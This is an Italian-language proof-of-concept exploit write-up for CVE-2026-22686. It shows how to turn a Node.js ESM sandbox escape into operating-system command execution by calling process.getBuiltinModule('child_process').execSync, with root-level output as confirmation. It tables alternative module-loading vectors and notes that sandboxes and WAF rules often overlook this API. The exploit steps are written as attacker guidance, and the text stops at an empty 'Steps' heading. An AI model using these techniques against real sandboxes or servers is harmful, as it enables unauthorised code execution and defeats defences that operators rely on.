
Proof-of-concept exploit per CVE-2026-22686, che dimostra l'esecuzione remota di codice nelle sandbox ESM di Node.js tramite process.getBuiltinModule per bypassare le restrizioni sui moduli.
requireQuando si ottiene l'escape dalla sandbox tramite CVE-2026-22686, eseguire comandi del sistema operativo in un
progetto ESM ("type": "module") richiede di bypassare le restrizioni di caricamento dei moduli di Node.js.
Gli approcci standard falliscono per i seguenti motivi:
| Vettore | Risultato |
|---|
require('child_process') | ❌ require is not defined — non disponibile in ESM |
process.mainModule.require(...) | ❌ Cannot read properties of undefined — mainModule è undefined in ESM |
import('child_process') | ❌ A dynamic import callback was not specified — richiede un hook non configurato nella sandbox |
process.binding('spawn_sync') | ⚠️ Disponibile ma troppo di basso livello — richiede la costruzione manuale di syscall |
process.getBuiltinModuleInvece di assumere un metodo di caricamento dei moduli, enumeriamo direttamente le chiavi di process
dal contesto host (già accessibile dopo l'escape dalla sandbox):
return Object.keys(process)
Tra le chiavi restituite, è stato identificato getBuiltinModule — un'API nativa di Node.js 22+
progettata specificamente per consentire ai moduli ESM di accedere ai moduli integrati di Node.js
senza require o import().
process.getBuiltinModule('child_process').execSync('id').toString()
// → uid=0(root) gid=0(root) groups=0(root) ✅ RCE confermata
Questo è il punto chiave: process.getBuiltinModule è un'API relativamente nuova
(Node.js >= 22.3.0) e viene spesso trascurata dalle implementazioni delle sandbox
e dalle regole WAF che bloccano require e import.
A seconda dell'ambiente di destinazione, altri vettori potrebbero essere disponibili dopo
l'enumerazione di process:
| Vettore | Versione di Node.js | Note |
|---|---|---|
process.getBuiltinModule('child_process') | >= 22.3.0 | ✅ Il più pulito — API ufficiale sicura per ESM |
process.binding('spawn_sync') | Tutte | ⚠️ Di basso livello, richiede la costruzione manuale dei buffer |
process.mainModule.require(...) | Solo CJS | ❌ Undefined in ESM |
__non_webpack_require__ | Bundle Webpack | ⚠️ Specifico dell'ambiente |
Module.createRequire(import.meta.url) | >= 12.2.0 | ⚠️ Richiede il riferimento a Module dall'host |
process._linkedBinding('node_os') | Build interne | ⚠️ Raramente esposto |
Conclusione: Enumera sempre
Object.keys(process)dopo aver ottenuto l'accesso al contesto host. La superficie di attacco disponibile varia significativamente in base alla versione di Node.js e alla configurazione del progetto.getBuiltinModuleè il vettore più affidabile negli ambienti ESM moderni di Node.js.
Passaggi:
